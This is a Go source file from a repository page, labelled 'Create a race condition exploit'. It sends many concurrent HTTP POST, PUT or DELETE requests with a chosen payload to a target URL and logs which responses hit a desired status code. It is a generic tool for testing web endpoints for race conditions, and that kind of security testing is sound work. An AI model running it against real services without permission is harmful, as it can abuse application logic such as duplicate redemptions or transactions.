-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
197 lines (182 loc) · 5.35 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
package main
// Create a race condition exploit
import (
"encoding/json"
"flag"
"io/ioutil"
"log"
"net/http"
"os"
"os/exec"
"strings"
"sync"
"time"
)
type RequestDetails struct {
Url string
Payload string
Method string
Headers map[string][]string
ResponseBody string
ResponseStatus int
ResponseTime string
}
var output = make(map[int]RequestDetails)
var desiredOutput = make(map[int]RequestDetails)
var unDesiredOutput = make(map[int]RequestDetails)
var requestCounter = 0
func SendRequest(url string, payload string, method string, request *http.Request, waitgroup *sync.WaitGroup) {
// Prevent race-condition-exploit by checking if map value exists
// Race-condition might occur - concurrent map writes
// Delete this line if you want to experiment ;)
for {
if _, ok := output[requestCounter]; !ok {
break
}
}
client := &http.Client{}
// Monitor time taken to send request
start := time.Now()
response, err := client.Do(request)
if err != nil {
log.Fatal(err)
}
elapsed := time.Since(start)
defer response.Body.Close()
body, err := ioutil.ReadAll(response.Body)
if err != nil {
log.Fatal(err)
}
// add to output map
output[requestCounter] = RequestDetails{
Url: url,
Payload: payload,
Method: method,
Headers: request.Header,
ResponseBody: string(body),
ResponseStatus: response.StatusCode,
ResponseTime: elapsed.String(),
}
requestCounter++
}
// Write string to file
func appendToFile(filename string, text []byte) error {
f, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return err
}
defer f.Close()
if _, err := f.Write([]byte(text)); err != nil {
return err
}
return nil
}
// Print file to terminal
func PrintToStdout(filename string) {
// cat file to stdout
cmd := exec.Command("cat", filename)
cmd.Stdout = os.Stdout
err := cmd.Run()
if err != nil {
log.Fatal(err)
}
}
func main() {
// Get command line arguments
url := flag.String("url", "", "url to exploit")
payload := flag.String("payload", "", "Payload to use")
headers := flag.String("headers", "", "Headers to use")
method := flag.String("method", "POST", "Method to use | POST, PUT, DELETE")
desiredStatus := flag.Int("status", 201, "Desired status code")
numberOfRequests := flag.Int("requestno", 2, "Number of requests to send")
printToConsole := flag.Bool("console", false, "Print to console")
flag.Parse()
if *url == "" || *method == "" || (*method != "POST" && *method != "PUT" && *method != "DELETE") {
flag.PrintDefaults()
return
}
// Initialise variables
var (
wg sync.WaitGroup // Waitgroup to wait for all goroutines to finish
err error // handle errors
request *http.Request // create request
start time.Time // monitor time taken to send requests
elapsed time.Duration
responseTimeDuration time.Duration
timeTakenToSendWithoutConcurrency time.Duration
)
// Create request
request, err = http.NewRequest(*method, *url, strings.NewReader(*payload))
if err != nil {
log.Fatal(err)
}
// Parse headers args and add to request
if *headers != "" {
for _, header := range strings.Split(*headers, ",") {
header_split := strings.Split(header, ":")
request.Header.Set(header_split[0], header_split[1])
}
}
// Record time to send all requests
start = time.Now()
for i := 0; i < *numberOfRequests; i++ {
wg.Add(1)
go func() {
defer wg.Done()
SendRequest(*url, *payload, *method, request, &wg)
}()
}
// Wait for all requests to finish
wg.Wait()
elapsed = time.Since(start)
log.Printf("Time taken to send %d requests: %v", *numberOfRequests, elapsed)
// Sum all response times to get time taken to send all requests without concurrency
for _, value := range output {
responseTimeDuration, err = time.ParseDuration(value.ResponseTime)
if err != nil {
log.Fatal(err)
}
timeTakenToSendWithoutConcurrency += responseTimeDuration
}
log.Printf("Time taken to send %d requests without concurrency: %v", *numberOfRequests, timeTakenToSendWithoutConcurrency)
log.Println("Saved time:", timeTakenToSendWithoutConcurrency-elapsed)
// Parse output
if len(output) == 0 {
log.Fatal("No output")
}
for count := 0; count < len(output); count++ {
// Based on desired status code write to file status
if output[count].ResponseStatus == *desiredStatus {
desiredOutput[count] = output[count]
} else {
log.Printf("Request %d failed with status code %d", count, output[count].ResponseStatus)
unDesiredOutput[count] = output[count]
}
}
// Marshal output to indented json
jsonUnDesiredOutputMap, err := json.MarshalIndent(unDesiredOutput, "", " ")
if err != nil {
log.Fatal(err)
}
jsonDesiredOutputMap, err := json.MarshalIndent(desiredOutput, "", " ")
if err != nil {
log.Fatal(err)
}
// write to file
err = appendToFile("undesiredOutput.json", jsonUnDesiredOutputMap)
if err != nil {
log.Fatal(err)
}
err = appendToFile("desiredOutput.json", jsonDesiredOutputMap)
if err != nil {
log.Fatal(err)
}
if *printToConsole {
// cat file to stdout
log.Println("Undesired output:")
PrintToStdout("undesiredOutput.json")
log.Println("Desired output:")
PrintToStdout("desiredOutput.json")
}
log.Println("Done")
}